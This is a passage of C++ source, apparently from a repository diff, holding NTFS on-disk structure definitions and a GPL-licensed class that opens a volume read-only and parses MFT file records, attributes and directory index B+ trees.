DWORD AttrType; // Attribute type
WORD RecordSize; // Record length
BYTE NameLength; // Name length in characters
BYTE NameOffset; // Name offset
ULONGLONG StartVCN; // Start VCN
ULONGLONG BaseRef; // Base file reference to the attribute
WORD AttrId; // Attribute Id
} ATTR_ATTRIBUTE_LIST;
// Attribute: FILE_NAME
#define ATTR_FILENAME_FLAG_READONLY 0x00000001
#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002
#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004
#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020
#define ATTR_FILENAME_FLAG_DEVICE 0x00000040
#define ATTR_FILENAME_FLAG_NORMAL 0x00000080
#define ATTR_FILENAME_FLAG_TEMP 0x00000100
#define ATTR_FILENAME_FLAG_SPARSE 0x00000200
#define ATTR_FILENAME_FLAG_REPARSE 0x00000400
#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800
#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000
#define ATTR_FILENAME_FLAG_NCI 0x00002000
#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000
#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000
#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000
#define ATTR_FILENAME_NAMESPACE_POSIX 0x00
#define ATTR_FILENAME_NAMESPACE_WIN32 0x01
#define ATTR_FILENAME_NAMESPACE_DOS 0x02
typedef struct tagATTR_FILE_NAME
{
ULONGLONG ParentRef; // File reference to the parent directory
ULONGLONG CreateTime; // File creation time
ULONGLONG AlterTime; // File altered time
ULONGLONG MFTTime; // MFT changed time
ULONGLONG ReadTime; // File read time
ULONGLONG AllocSize; // Allocated size of the file
ULONGLONG RealSize; // Real size of the file
DWORD Flags; // Flags
DWORD ER; // Used by EAs and Reparse
BYTE NameLength; // Filename length in characters
BYTE NameSpace; // Filename space
WORD Name[1]; // Filename
} ATTR_FILE_NAME;
// Attribute: VOLUME_INFORMATION
#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty
#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile
#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount
#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4
#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway
#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids
#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk
typedef struct tagATTR_VOLUME_INFORMATION
{
BYTE Reserved1[8]; // Always 0 ?
BYTE MajorVersion; // Major version
BYTE MinorVersion; // Minor version
WORD Flags; // Flags
BYTE Reserved2[4]; // Always 0 ?
} ATTR_VOLUME_INFORMATION;
// Attribute: INDEX_ROOT
/******************************
INDEX_ROOT
---------------------
| Index Root Header |
---------------------
| Index Header |
---------------------
| Index Entry |
---------------------
| Index Entry |
---------------------
| ...... |
---------------------
*******************************/
#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record
#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed
typedef struct tagATTR_INDEX_ROOT
{
// Index Root Header
DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View)
DWORD CollRule; // Collation rule
DWORD IBSize; // Size of index block
BYTE ClustersPerIB; // Clusters per index block (same as BPB?)
BYTE Padding1[3]; // Padding
// Index Header
DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10)
DWORD TotalEntrySize; // Total size of the index entries
DWORD AllocEntrySize; // Allocated size of the index entries
BYTE Flags; // Flags
BYTE Padding2[3]; // Padding
} ATTR_INDEX_ROOT;
// INDEX ENTRY
#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node
#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream
typedef struct tagINDEX_ENTRY
{
ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number
WORD Size; // Length of the index entry
WORD StreamSize; // Length of the stream
BYTE Flags; // Flags
BYTE Padding[3]; // Padding
BYTE Stream[1]; // Stream
// VCN of the sub node in Index Allocation, Offset = Size - 8
} INDEX_ENTRY;
// INDEX BLOCK
/******************************
INDEX_BLOCK
-----------------------
| Index Block Header |
-----------------------
| Index Header |
-----------------------
| Index Entry |
-----------------------
| Index Entry |
-----------------------
| ...... |
-----------------------
*******************************/
#define INDEX_BLOCK_MAGIC 'XDNI'
typedef struct tagINDEX_BLOCK
{
// Index Block Header
DWORD Magic; // "INDX"
WORD OffsetOfUS; // Offset of Update Sequence
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
ULONGLONG LSN; // $LogFile Sequence Number
ULONGLONG VCN; // VCN of this index block in the index allocation
// Index Header
DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18)
DWORD TotalEntrySize; // Total size of the index entries
DWORD AllocEntrySize; // Allocated size of index entries
BYTE NotLeaf; // 1 if not leaf node (has children)
BYTE Padding[3]; // Padding
} INDEX_BLOCK;
#endif

View File

@ -0,0 +1,989 @@
/*
* NTFS Volume and File Record Class
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_FILERECORD_H_CYB70289
#define __NTFS_FILERECORD_H_CYB70289
///////////////////////////////////////
// NTFS Volume forward declaration
///////////////////////////////////////
class CNTFSVolume
{
public:
CNTFSVolume(_TCHAR volume);
virtual ~CNTFSVolume();
friend class CFileRecord;
friend class CAttrBase;
private:
WORD SectorSize;
DWORD ClusterSize;
DWORD FileRecordSize;
DWORD IndexBlockSize;
ULONGLONG MFTAddr;
HANDLE hVolume;
BOOL VolumeOK;
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
WORD Version;
// MFT file records ($MFT file itself) may be fragmented
// Get $MFT Data attribute to translate FileRecord to correct disk offset
CFileRecord *MFTRecord; // $MFT File Record
const CAttrBase *MFTData; // $MFT Data Attribute
BOOL OpenVolume(_TCHAR volume);
public:
__inline BOOL IsVolumeOK() const;
__inline WORD GetVersion() const;
__inline ULONGLONG GetRecordsCount() const;
__inline DWORD GetSectorSize() const;
__inline DWORD GetClusterSize() const;
__inline DWORD GetFileRecordSize() const;
__inline DWORD GetIndexBlockSize() const;
__inline ULONGLONG GetMFTAddr() const;
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
__inline void ClearAttrRawCB();
}; // CNTFSVolume
////////////////////////////////////////////
// List to hold Attributes of the same type
////////////////////////////////////////////
typedef class CSList<CAttrBase> CAttrList;
// It seems VC6.0 doesn't support template class friends
#if _MSC_VER <= 1200
class CAttrResident;
class CAttrNonResident;
template <class TYPE_RESIDENT> class CAttr_AttrList;
#endif
////////////////////////////////
// Process a single File Record
////////////////////////////////
class CFileRecord
{
public:
CFileRecord(const CNTFSVolume *volume);
virtual ~CFileRecord();
friend class CAttrBase;
#if _MSC_VER <= 1200
// Walk around VC6.0 compiler defect
friend class CAttr_AttrList<CAttrResident>;
friend class CAttr_AttrList<CAttrNonResident>;
#else
template <class TYPE_RESIDENT> friend class CAttr_AttrList; // Won't compiler in VC6.0, why?
#endif
private:
const CNTFSVolume *Volume;
FILE_RECORD_HEADER *FileRecord;
ULONGLONG FileReference;
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
DWORD AttrMask;
CAttrList AttrList[ATTR_NUMS]; // Attributes
void ClearAttrs();
BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray);
__inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard);
CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled);
BOOL ParseAttr(ATTR_HEADER_COMMON *ahc);
FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef);
BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const;
void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const;
public:
BOOL ParseFileRecord(ULONGLONG fileRef);
BOOL ParseAttrs();
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
__inline void ClearAttrRawCB();
__inline void SetAttrMask(DWORD mask);
void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context);
__inline const CAttrBase* FindFirstAttr(DWORD attrType) const;
const CAttrBase* FindNextAttr(DWORD attrType) const;
int GetFileName(_TCHAR *buf, DWORD bufLen) const;
__inline ULONGLONG GetFileSize() const;
void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const;
void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const;
__inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const;
const CAttrBase* FindStream(_TCHAR *name = NULL);
__inline BOOL IsDeleted() const;
__inline BOOL IsDirectory() const;
__inline BOOL IsReadOnly() const;
__inline BOOL IsHidden() const;
__inline BOOL IsSystem() const;
__inline BOOL IsCompressed() const;
__inline BOOL IsEncrypted() const;
__inline BOOL IsSparse() const;
}; // CFileRecord
#include "NTFS_Attribute.h"
CFileRecord::CFileRecord(const CNTFSVolume *volume)
{
_ASSERT(volume);
Volume = volume;
FileRecord = NULL;
FileReference = (ULONGLONG)-1;
ClearAttrRawCB();
// Default to parse all attributes
AttrMask = MASK_ALL;
}
CFileRecord::~CFileRecord()
{
ClearAttrs();
if (FileRecord)
delete FileRecord;
}
// Free all CAttr_xxx
void CFileRecord::ClearAttrs()
{
for (int i=0; i<ATTR_NUMS; i++)
{
AttrList[i].RemoveAll();
}
}
// Verify US and update sectors
BOOL CFileRecord::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray)
{
int i;
for (i=0; i<sectors; i++)
{
sector += ((Volume->SectorSize>>1) - 1);
if (*sector != usn)
return FALSE; // USN error
*sector = usarray[i]; // Write back correct data
sector++;
}
return TRUE;
}
// Call user defined Callback routines for an attribute
__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard)
{
*bDiscard = FALSE;
if (AttrRawCallBack[attType])
AttrRawCallBack[attType](ahc, bDiscard);
else if (Volume->AttrRawCallBack[attType])
Volume->AttrRawCallBack[attType](ahc, bDiscard);
}
CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled)
{
switch (ahc->Type)
{
case ATTR_TYPE_STANDARD_INFORMATION:
return new CAttr_StdInfo(ahc, this);
case ATTR_TYPE_ATTRIBUTE_LIST:
if (ahc->NonResident)
return new CAttr_AttrList<CAttrNonResident>(ahc, this);
else
return new CAttr_AttrList<CAttrResident>(ahc, this);
case ATTR_TYPE_FILE_NAME:
return new CAttr_FileName(ahc, this);
case ATTR_TYPE_VOLUME_NAME:
return new CAttr_VolName(ahc, this);
case ATTR_TYPE_VOLUME_INFORMATION:
return new CAttr_VolInfo(ahc, this);
case ATTR_TYPE_DATA:
if (ahc->NonResident)
return new CAttr_Data<CAttrNonResident>(ahc, this);
else
return new CAttr_Data<CAttrResident>(ahc, this);
case ATTR_TYPE_INDEX_ROOT:
return new CAttr_IndexRoot(ahc, this);
case ATTR_TYPE_INDEX_ALLOCATION:
return new CAttr_IndexAlloc(ahc, this);
case ATTR_TYPE_BITMAP:
if (ahc->NonResident)
return new CAttr_Bitmap<CAttrNonResident>(ahc, this);
else
// Resident Bitmap may exist in a directory's FileRecord
// or in $MFT for a very small volume in theory
return new CAttr_Bitmap<CAttrResident>(ahc, this);
// Unhandled Attributes
default:
*bUnhandled = TRUE;
if (ahc->NonResident)
return new CAttrNonResident(ahc, this);
else
return new CAttrResident(ahc, this);
}
}
// Parse a single Attribute
// Return False on error
BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc)
{
DWORD attrIndex = ATTR_INDEX(ahc->Type);
if (attrIndex < ATTR_NUMS)
{
BOOL bDiscard = FALSE;
UserCallBack(attrIndex, ahc, &bDiscard);
if (!bDiscard)
{
BOOL bUnhandled = FALSE;
CAttrBase *attr = AllocAttr(ahc, &bUnhandled);
if (attr)
{
if (bUnhandled)
{
NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type);
}
AttrList[attrIndex].InsertEntry(attr);
return TRUE;
}
else
{
NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type);
return FALSE;
}
}
else
{
NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type);
return TRUE;
}
}
else
{
NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type);
return FALSE;
}
}
// Read File Record
FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef)
{
FILE_RECORD_HEADER *fr = NULL;
DWORD len;
if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL)
{
// Take as continuous disk allocation
LARGE_INTEGER frAddr;
frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef;
frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN);
if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR)
return FALSE;
else
{
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL)
&& len==Volume->FileRecordSize)
return fr;
else
{
delete fr;
return NULL;
}
}
}
else
{
// May be fragmented $MFT
ULONGLONG frAddr;
frAddr = (Volume->FileRecordSize) * fileRef;
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len)
&& len == Volume->FileRecordSize)
return fr;
else
{
delete fr;
return NULL;
}
}
}
// Read File Record, verify and patch the US (update sequence)
BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef)
{
// Clear previous data
ClearAttrs();
if (FileRecord)
{
delete FileRecord;
FileRecord = NULL;
}
FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef);
if (fr == NULL)
{
NTFS_TRACE1("Cannot read file record %I64u\n", fileRef);
FileReference = (ULONGLONG)-1;
}
else
{
FileReference = fileRef;
if (fr->Magic == FILE_RECORD_MAGIC)
{
// Patch US
WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS);
WORD usn = *usnaddr;
WORD *usarray = usnaddr + 1;
if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray))
{
NTFS_TRACE1("File Record %I64u Found\n", fileRef);
FileRecord = fr;
return TRUE;
}
else
{
NTFS_TRACE("Update Sequence Number error\n");
}
}
else
{
NTFS_TRACE("Invalid file record\n");
}
delete fr;
}
return FALSE;
}
// Visit IndexBlocks recursivly to find a specific FileName
BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const
{
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
if (ia == NULL)
return FALSE;
CIndexBlock ib;
if (ia->ParseIndexBlock(vcn, ib))
{
CIndexEntry *ie = ib.FindFirstEntry();
while (ie)
{
if (ie->HasName())
{
// Compare name
int i = ie->Compare(fileName);
if (i == 0)
{
ieFound = *ie;
return TRUE;
}
else if (i < 0) // fileName is smaller than IndexEntry
{
// Visit SubNode
if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock), recursive call
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
else
return FALSE; // not found
}
// Just step forward if fileName is bigger than IndexEntry
}
else if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock), recursive call
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
ie = ib.FindNextEntry();
}
}
return FALSE;
}
// Traverse SubNode recursivly in ascending order
// Call user defined callback routine once found an subentry
void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const
{
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
if (ia == NULL)
return;
CIndexBlock ib;
if (ia->ParseIndexBlock(vcn, ib))
{
CIndexEntry *ie = ib.FindFirstEntry();
while (ie)
{
if (ie->IsSubNodePtr())
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call
if (ie->HasName())
seCallBack(ie);
ie = ib.FindNextEntry();
}
}
}
// Parse all the attributes in a File Record
// And insert them into a link list
BOOL CFileRecord::ParseAttrs()
{
_ASSERT(FileRecord);
// Clear previous data
ClearAttrs();
// Visit all attributes
DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds
ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr);
dataPtr += FileRecord->OffsetOfAttr;
while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize)
{
if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes
{
if (!ParseAttr(ahc)) // Parse error
return FALSE;
if (IsEncrypted() || IsCompressed())
{
NTFS_TRACE("Compressed and Encrypted file not supported yet !\n");
return FALSE;
}
}
dataPtr += ahc->TotalSize;
ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute
}
return TRUE;
}
// Install Attribute raw data CallBack routines for a single File Record
BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
{
DWORD atIdx = ATTR_INDEX(attrType);
if (atIdx < ATTR_NUMS)
{
AttrRawCallBack[atIdx] = cb;
return TRUE;
}
else
return FALSE;
}
// Clear all Attribute CallBack routines
__inline void CFileRecord::ClearAttrRawCB()
{
for (int i = 0; i < ATTR_NUMS; i ++)
AttrRawCallBack[i] = NULL;
}
// Choose attributes to handle, unwanted attributes will be discarded silently
__inline void CFileRecord::SetAttrMask(DWORD mask)
{
// Standard Information and Attribute List is needed always
AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST;
}
// Traverse all Attribute and return CAttr_xxx classes to User Callback routine
void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context)
{
_ASSERT(attrCallBack);
for (int i = 0; i < ATTR_NUMS; i ++)
{
if (AttrMask & (((DWORD)1)<<i)) // skip masked attributes
{
const CAttrBase *ab = AttrList[i].FindFirstEntry();
while (ab)
{
BOOL bStop;
bStop = FALSE;
attrCallBack(ab, context, &bStop);
if (bStop)
return;
ab = AttrList[i].FindNextEntry();
}
}
}
}
// Find Attributes
__inline const CAttrBase* CFileRecord::FindFirstAttr(DWORD attrType) const
{
DWORD attrIdx = ATTR_INDEX(attrType);
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindFirstEntry() : NULL;
}
const CAttrBase* CFileRecord::FindNextAttr(DWORD attrType) const
{
DWORD attrIdx = ATTR_INDEX(attrType);
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindNextEntry() : NULL;
}
// Get File Name (First Win32 name)
int CFileRecord::GetFileName(_TCHAR *buf, DWORD bufLen) const
{
// A file may have several filenames
// Return the first Win32 filename
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
while (fn)
{
if (fn->IsWin32Name())
{
int len = fn->GetFileName(buf, bufLen);
if (len != 0)
return len; // success or fail
}
fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry();
}
return 0;
}
// Get File Size
__inline ULONGLONG CFileRecord::GetFileSize() const
{
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
return fn ? fn->GetFileSize() : 0;
}
// Get File Times
void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const
{
// Standard Information attribute hold the most updated file time
CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
if (si)
si->GetFileTime(writeTm, createTm, accessTm);
else
{
writeTm->dwHighDateTime = 0;
writeTm->dwLowDateTime = 0;
if (createTm)
{
createTm->dwHighDateTime = 0;
createTm->dwLowDateTime = 0;
}
if (accessTm)
{
accessTm->dwHighDateTime = 0;
accessTm->dwLowDateTime = 0;
}
}
}
// Traverse all sub directories and files contained
// Call user defined callback routine once found an entry
void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const
{
_ASSERT(seCallBack);
// Start traversing from IndexRoot (B+ tree root node)
CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
if (ir == NULL || !ir->IsFileName())
return;
CIndexEntryList *ieList = (CIndexEntryList*)ir;
CIndexEntry *ie = ieList->FindFirstEntry();
while (ie)
{
// Visit subnode first
if (ie->IsSubNodePtr())
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack);
if (ie->HasName())
seCallBack(ie);
ie = ieList->FindNextEntry();
}
}
// Find a specific FileName from InexRoot described B+ tree
__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const
{
// Start searching from IndexRoot (B+ tree root node)
CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
if (ir == NULL || !ir->IsFileName())
return FALSE;
CIndexEntryList *ieList = (CIndexEntryList*)ir;
CIndexEntry *ie = ieList->FindFirstEntry();
while (ie)
{
if (ie->HasName())
{
// Compare name
int i = ie->Compare(fileName);
if (i == 0)
{
ieFound = *ie;
return TRUE;
}
else if (i < 0) // fileName is smaller than IndexEntry
{
// Visit SubNode
if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock)
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
else
return FALSE; // not found
}
// Just step forward if fileName is bigger than IndexEntry
}
else if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock)
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
ie = ieList->FindNextEntry();
}
return FALSE;
}
// Find Data attribute class of
const CAttrBase* CFileRecord::FindStream(_TCHAR *name)
{
const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA);
while (data)
{
if (data->IsUnNamed() && name == NULL) // Unnamed stream
break;
if ((!data->IsUnNamed()) && name) // Named stream
{
_TCHAR an[MAX_PATH];
if (data->GetAttrName(an, MAX_PATH))
{
if (_tcscmp(an, name) == 0)
break;
}
}
data = FindNextAttr(ATTR_TYPE_DATA);
}
return data;
}
// Check if it's deleted or in use
__inline BOOL CFileRecord::IsDeleted() const
{
return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE);
}
// Check if it's a directory
__inline BOOL CFileRecord::IsDirectory() const
{
return FileRecord->Flags & FILE_RECORD_FLAG_DIR;
}
__inline BOOL CFileRecord::IsReadOnly() const
{
// Standard Information attribute holds the most updated file time
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsReadOnly() : FALSE;
}
__inline BOOL CFileRecord::IsHidden() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsHidden() : FALSE;
}
__inline BOOL CFileRecord::IsSystem() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsSystem() : FALSE;
}
__inline BOOL CFileRecord::IsCompressed() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsCompressed() : FALSE;
}
__inline BOOL CFileRecord::IsEncrypted() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsEncrypted() : FALSE;
}
__inline BOOL CFileRecord::IsSparse() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsSparse() : FALSE;
}
///////////////////////////////////////
// NTFS Volume Implementation
///////////////////////////////////////
CNTFSVolume::CNTFSVolume(_TCHAR volume)
{
hVolume = INVALID_HANDLE_VALUE;
VolumeOK = FALSE;
MFTRecord = NULL;
MFTData = NULL;
Version = 0;
ClearAttrRawCB();
if (!OpenVolume(volume))
return;
// Verify NTFS volume version (must >= 3.0)
CFileRecord vol(this);
vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION);
if (!vol.ParseFileRecord(MFT_IDX_VOLUME))
return;
vol.ParseAttrs();
CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION);
if (!vi)
return;
Version = vi->GetVersion();
NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version));
if (Version < 0x0300) // NT4 ?
return;
#ifdef _DEBUG
CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME);
if (vn)
{
char volname[MAX_PATH];
if (vn->GetName(volname, MAX_PATH) > 0)
{
NTFS_TRACE1("NTFS volume name: %s\n", volname);
}
}
#endif
VolumeOK = TRUE;
MFTRecord = new CFileRecord(this);
MFTRecord->SetAttrMask(MASK_DATA);
if (MFTRecord->ParseFileRecord(MFT_IDX_MFT))
{
MFTRecord->ParseAttrs();
MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA);
if (MFTData == NULL)
{
delete MFTRecord;
MFTRecord = NULL;
}
}
}
CNTFSVolume::~CNTFSVolume()
{
if (hVolume != INVALID_HANDLE_VALUE)
CloseHandle(hVolume);
if (MFTRecord)
delete MFTRecord;
}
// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB
BOOL CNTFSVolume::OpenVolume(_TCHAR volume)
{
// Verify parameter
if (!_istalpha(volume))
{
NTFS_TRACE("Volume name error, should be like 'C', 'D'\n");
return FALSE;
}
_TCHAR volumePath[7];
_sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume);
volumePath[6] = _T('\0');
hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);
if (hVolume != INVALID_HANDLE_VALUE)
{
DWORD num;
NTFS_BPB bpb;
// Read the first sector (boot sector)
if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512)
{
if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0)
{
// Log important volume parameters
SectorSize = bpb.BytesPerSector;
NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize);
ClusterSize = SectorSize * bpb.SectorsPerCluster;
NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize);
int sz = (char)bpb.ClustersPerFileRecord;
if (sz > 0)
FileRecordSize = ClusterSize * sz;
else
FileRecordSize = 1 << (-sz);
NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize);
sz = (char)bpb.ClustersPerIndexBlock;
if (sz > 0)
IndexBlockSize = ClusterSize * sz;
else
IndexBlockSize = 1 << (-sz);
NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize);
MFTAddr = bpb.LCN_MFT * ClusterSize;
NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr);
}
else
{
NTFS_TRACE("Volume file system is not NTFS\n");
goto IOError;
}
}
else
{
NTFS_TRACE("Read boot sector error\n");
goto IOError;
}
}
else
{
NTFS_TRACE1("Cannnot open volume %c\n", (char)volume);
IOError:
if (hVolume != INVALID_HANDLE_VALUE)
{
CloseHandle(hVolume);
hVolume = INVALID_HANDLE_VALUE;
}
return FALSE;
}
return TRUE;
}
// Check if Volume is successfully opened
__inline BOOL CNTFSVolume::IsVolumeOK() const
{
return VolumeOK;
}
// Get NTFS volume version
__inline WORD CNTFSVolume::GetVersion() const
{
return Version;
}
// Get File Record count
__inline ULONGLONG CNTFSVolume::GetRecordsCount() const
{
return (MFTData->GetDataSize() / FileRecordSize);
}
// Get BPB information
__inline DWORD CNTFSVolume::GetSectorSize() const
{
return SectorSize;
}
__inline DWORD CNTFSVolume::GetClusterSize() const
{
return ClusterSize;
}
__inline DWORD CNTFSVolume::GetFileRecordSize() const
{
return FileRecordSize;
}
__inline DWORD CNTFSVolume::GetIndexBlockSize() const
{
return IndexBlockSize;
}
// Get MFT starting address
__inline ULONGLONG CNTFSVolume::GetMFTAddr() const
{
return MFTAddr;
}
// Install Attribute CallBack routines for the whole Volume
BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
{
DWORD atIdx = ATTR_INDEX(attrType);
